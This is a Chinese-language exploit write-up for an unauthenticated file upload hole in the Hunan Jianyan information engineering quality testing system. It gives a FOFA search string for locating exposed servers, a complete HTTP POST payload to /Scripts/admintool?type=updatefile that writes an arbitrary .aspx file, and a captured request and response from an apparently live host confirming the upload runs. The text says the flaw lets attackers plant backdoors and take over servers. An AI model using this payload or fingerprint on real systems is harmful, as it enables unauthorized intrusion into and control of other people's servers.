

# H20-1湖南建研-信息工程质量检测系统-文件上传

## 漏洞描述：

湖南建研信息工程质量检测系统/Scripts/admintool接口处存在文件上传漏洞，未授权的攻击者可通过此漏洞上传恶意后门文件， 获取服务器权限。

网站图片：



## 网络测绘：

fofa语法：

FOFA: body="/Content/Theme/Standard/webSite/login.css"

## 漏洞复现：

payload:

```
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br

filePath=1.aspx&fileContent=文件内容
```

效果图:

Request

```
1 POST /Scripts/admintool?type=updatefile HTTP/1.1
2 Host: [redacted]:8282
3 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Connection: close
7 Content-Type: application/x-www-form-urlencoded
8 Accept-Encoding: gzip, deflate, br
9
10 filePath=1.aspx&fileContent=<% Response.Write("Hello, World") %>
```

Responses 138bytes / 63ms

```
1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: text/json; charset=utf-8
4 Vary: Accept-Encoding
5 Server: Microsoft-IIS/7.5
6 Set-Cookie: ASP.NET_SessionId=knjvcodn0hmq
7 X-AspNetWebPages-Version: 2.0
8 X-AspNet-Version: 4.0.30319
9 X-Powered-By: ASP.NET
10 Date: Wed, 27 Dec 2023 14:24:59 GMT
11 Connection: close
12 Content-Length: 138
13
14 {"code":0,"msg":"修改文件成功";E:\\新版检测
  检测软件\\Web\\Scripts\\1.aspx"}
```

验证url

← → ↺

⚠ 不安全 [redacted]82/Scripts/1.aspx

Hello, World